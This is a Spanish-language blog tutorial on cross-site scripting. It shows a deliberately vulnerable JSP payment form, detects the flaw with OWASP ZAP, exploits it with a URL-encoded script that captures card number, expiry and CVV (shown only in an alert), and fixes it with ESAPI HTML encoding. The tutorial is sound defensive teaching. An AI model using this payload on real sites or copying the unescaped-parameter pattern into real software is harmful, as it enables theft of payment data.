Home > Desarrollo, Librerías/Frameworks, Seguridad > XSS: detectar, explotar y corregir vulnerabilidades

XSS: detectar, explotar y corregir vulnerabilidades

En este artículo explicaremos en qué consisten las vulnerabilidades XSS  (Cross-site Scripting)  y cómo detectarlas. A modo de ejemplo, veremos cómo sería posible para un atacante obtener tarjetas de crédito aprovechando una vulnerabilidad XSS en una pasarela de pagos ficticia.

Los ataques XSS se basan en la inyección de scripts maliciosos que se ejecutan en el navegador del usuario. En muchos casos, el usuario ni siquiera es consciente de lo que está ocurriendo. Los tipos principales de ataques XSS son:

  • Reflected: Normalmente se basan en conseguir que el usuario siga un link o complete un formulario malicioso aunque aparentemente normal. La respuesta del servidor web contendrá el script inyectado que se ejecutará en el navegador del cliente. Es el tipo de ataque en el que se basa el ejemplo que veremos.
  • Stored: La diferencia con el anterior es que el código malicioso se inyecta en algún elemento persistente, como una base de datos, de manera que se consigue que se ejecute en el navegador del cliente al recuperar la información almacenada.

Para mas información se recomienda consultar la página de OWASP sobre XSS.

 

Caso práctico: Pasarela de pagos vulnerable

 

Supongamos que un atacante descubre una vulnerabilidad XSS en una pasarela que procesa pagos con tarjeta de crédito. El formulario donde el usuario debe introducir los datos de su tarjeta de crédito consiste en una página JSP que contiene una vulnerabilidad XSS. Dicha página recibe como parámetro la cantidad a pagar. Una vez el usuario pulse el botón Realizar Pago se procesará la petición, aunque en este caso simplemente se desplegará una ventana emergente indicativa.

Con este ejemplo veremos que sería posible para dicho atacante inyectar un script que le permitiese obtener los datos de la tarjeta de crédito del usuario dispuesto a comprar. La forma mas sencilla de llevar a cabo la inyección podría consistir en añadir el código a inyectar en alguna página web controlada por el atacante y que enlace con la pasarela de pago.

A continuación la página JSP (xss_html.jsp en el ejemplo) que sirve el formulario donde introducir los datos de la tarjeta:

<%@ page language="java" contentType="text/html; charset=ISO-8859-15"
    pageEncoding="ISO-8859-15"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-15">
<title>XSS vulnerable</title>
<script language="javascript">
function sendPaymentRequest(){
  form = document.getElementById("sendForm");
  alert("Would submit form request...");
  return false;
}
</script>
</head>
<body>

<h3>Inserte los datos de su tarjeta</h3>
<form method="POST" name="sendForm" id="sendForm"
onsubmit="return sendPaymentRequest()">

<%
final String amount = request.getParameter("amount");
%>

<table>
<tr>
<td> Cantidad a pagar</td>
<td><input type="text" name="amount" maxlength="6"
 size="6" value="<%=amount%>" /> &euro;<td>
</tr>
<tr>
<td>Tarjeta de crédito</td>
<td><input type="text" name="cc" value="" maxlength="16" size="16"/></td>
</tr>
<tr>
<td>Fecha caducidad (mm/yy)</td>
<td><input type="text" name="expMonth" value="" maxlength="2" size="2"/>
/<input type="text" name="expYear" value="" maxlength="2" size="2"/></td>
</tr>
<tr>
<td>CVV2</td>
<td><input type="password" name="cvv" value="" maxlength="3" size="3"/></td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Realizar Pago" name="button1" id="button1" /></td>
</tr>
</table>
</form>
</body>
</html>

Puede verse cómo el parámetro amount recibido se usa para indicar el valor a pagar en el formulario. El usuario accedería a la página de la pasarela de pago, posiblemente de una entidad que le proporciona la suficiente confianza como para introducir los datos de su tarjeta de crédito, desde la página web del atacante, mediante un enlace o un formulario.

A continuación se muestra una imagen con la ventana emergente indicativa que se obtiene cuando se facilita como parámetro amount 21.34:

Por ejemplo, si se despliega como aplicación en el path /securecoding en un Tomcat corriendo en el puerto 8080, puede obtenerse accediendo con el navegador a la URL http://localhost:8080/securecoding/xss_html.jsp?amount=21.34.

Teniendo acceso al código fuente es mas sencillo detectar las vulnerabilidades XSS, pero si se dispone sólo de un navegador web (acceso únicamente al código fuente de la página web servida) debemos usar un método de prueba y error. Afortunadamente, existen varias herramientas para la detección de vulnerabilidades XSS que automatizan este proceso.  En nuestro caso usaremos ZAP de OWASP.

Detectando vulnerabilidades XSS con ZAP de OWASP

 

La herramienta ZAP de OWASP está basada en el proyecto Paros Proxy. Por lo tanto, no es de extrañar que, entre sus muchas funcionalidades, se encuentre el poder usarse como proxy, almacenando los datos de navegación, y permitiendo realizar diversas operaciones sobre los mismos. En nuestro caso, usaremos el escaneo activo que es capaz de detectar varios tipos de vulnerabilidades, entre ellas las del tipo XSS.

Los pasos a seguir para realizar dicho escaneo sobre nuestra página JSP (xss_html.jsp) son muy sencillos. En primer lugar, se debe arrancar la herramienta ZAP e indicarle el puerto donde escuchará el proxy que incluye. A continuación, modificaremos la configuración de nuestro navegador web para que use como proxy ZAP, indicando el puerto correspondiente.

El siguiente paso consiste en completar la secuencia de navegación para que ZAP pueda almacenarla como sesión. Siguiendo con nuestro ejemplo, es suficiente con acceder a la URL http://localhost:8080/securecoding/xss_html.jsp?amount=21.34 (suponiendo que desplegamos la aplicación en un Tomcat local corriendo en el puerto 8080 en el path /securecoding). En la siguiente imagen puede verse como ZAP almacena la sesión:

Finalmente, indicamos a ZAP que realice un escaneo activo.  A continuación se muestran los resultados que nos presenta ZAP:

Puede apreciarse como ZAP nos avisa, con banderas rojas, que el parámetro amount permite ataques XSS. También nos proporciona otras alertas, de las que hablaremos en otra ocasión, relativas a las directivas a aplicar a las Cookies y al autocompletado del formulario.

 

Explotando la vulnerabilidad

 

Una vez ZAP nos ha indicado que amount es vulnerable, vamos a intentar inyectar código javascript que nos desplegará una ventana emergente con los datos de la tarjeta. Para ello, modificaremos el evento onsubmit del formulario de manera que recopile los datos de la tarjeta introducida en dicho formulario, nos los presente (aunque un atacante podría haber intentado enviarlos a algún sitio) y, finalmente, que llame a la función que se llamaba anteriormente para que el usuario no note nada extraño.

Además, con el fin de evitar que el usuario note que ocurre algo extraño, cerramos las del atributo value donde se inserta el valor de amount, y que es donde inyectaremos nuestro código, y también cerramos el campo input añadiendo la secuencia />. A continuación, añadimos el código javascript que muestre la info de la tarjeta. Finalmente, añadimos la cadena <br que quedará cerrada con el /> que viene a continuación (HTML que cierra el input).

Para realizar la prueba no hay mas que introducir la siguiente URL en nuestro navegador:

http://localhost:8080/securecoding/xss_html.jsp?amount=23.44%22
+%2F%3E+%0A%3Cscript+language%3D%27javascript%27%3E+%0Afunction
+sendCC%28%29{+%0A+form+%3D+document.getElementById%28%27
sendForm%27%29%3B+%0A+cc+%3D+form.cc.value%3B+%0A+cvv+%3D
+form.cvv.value%3B+%0A+year+%3D+form.expYear.value%3B+%0A
+month+%3D+form.expMonth.value%3B+%0A+alert%28%27Sending+to+bad+
guy+cc%3A%27+%2B+cc+%2B+%27+date%3A%27+%2B+month+%2B+%27
%2F%27+%2B+year+%2B+%27+cvv%3A%27+%2B+cvv%29%3B%0A+return
+sendPaymentRequest%28%29%3B%0A}+%0A%0Awindow.onload+%3D+
function+%28%29+{+%0A+var+submitForm+%3D+document.getElem
entById%28%27sendForm%27%29%3B%0A+submitForm.setAttribute
%28%27onsubmit%27%2C+%27sendCC%28%29%27%29%3B+%0A}%0A%3C%2Fscript%3E+%3Cbr

Como describimos  anteriormente, hemos añadido los caracteres “/>, seguidos del código javascript, y finalmente los caracteres />, todo codificado según el charset que indica la paǵina web (ISO-8859-15).

Podrán obtenerse los datos de la tarjeta tal y como se aprecia en la siguiente captura de pantalla:

Echando un vistazo al código fuente de la página puede verse el código javascript que realmente ejecuta el navegador:

[...]
<table>
<tr>
<td> Cantidad a pagar</td>
<td><input type="text" name="amount" maxlength="6"
size="6" value="23.44" />
<script language='javascript'>
function sendCC(){
 form = document.getElementById('sendForm');
 cc = form.cc.value;
 cvv = form.cvv.value;
 year = form.expYear.value;
 month = form.expMonth.value;
 alert('Sending to bad guy cc:' + cc  + ' date:' + month + '/' + year + ' cvv:' + cvv);
 return sendPaymentRequest();
}

window.onload = function () {
 var submitForm = document.getElementById('sendForm');
 submitForm.setAttribute('onsubmit', 'sendCC()');
}
</script> <br" /> &euro;<td>
</tr>
<tr>
<td>Tarjeta de crédito</td>
<td> <input type="text" name="cc" value=""
maxlength="16" size="16"/></td>
</tr>

<tr>
<td>Fecha caducidad (mm/yy)</td>
<td><input type="text" name="expMonth" value=""
 maxlength="2" size="2"/>
/<input type="text" name="expYear" value=""
 maxlength="2" size="2"/></td>
</tr>
[...]

Solucionar la vulnerabilidad

 

OWASP también proporciona la librería ESAPI, disponible para varios lenguajes, que permite, entre otras muchas cosas, validar los caracteres recibidos como entrada del usuario o codificar adecuadamente los caracteres según dónde se vayan a utilizar: HTML, atributo HTML, javascript, …

En nuestro caso, únicamente nos preocuparemos únicamente de codificar correctamente los datos de entrada para que no sean interpretados como código javascript por el navegador. Para ello, creamos una copia del JSP anterior, al que llamamos xss_html_esapi.jsp, y en el que reemplazamos la línea:

final String amount = request.getParameter("amount");

Por:

final String amount = ESAPI.encoder().encodeForHTML(request.getParameter("amount"));

Si ahora probamos de nuevo a inyectar nuestro código, obtenemos un resultado distinto: de entrada, aparecen caracteres extraños en el input donde introducir el amount, lo que ya da una pista de que algo ha ido mal. Y, efectivamente, nuestro script no funciona:


De hecho, repitiendo los pasos anteriores, podemos realizar un escaneo activo, usando de nuevo ZAP, sobre este nuevo JSP, y obtenemos:

Puede observarse como el nuevo JSP, aunque sigue siendo vulnerable al problema de la cookie y al autocompletado del formulario, NO es vulnerable a XSS (las banderas rojas que aparecen indican que en el escaneo anterior xss_html.jsp se encontró vulnerable, pero no xss_html_esapi.jsp).

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: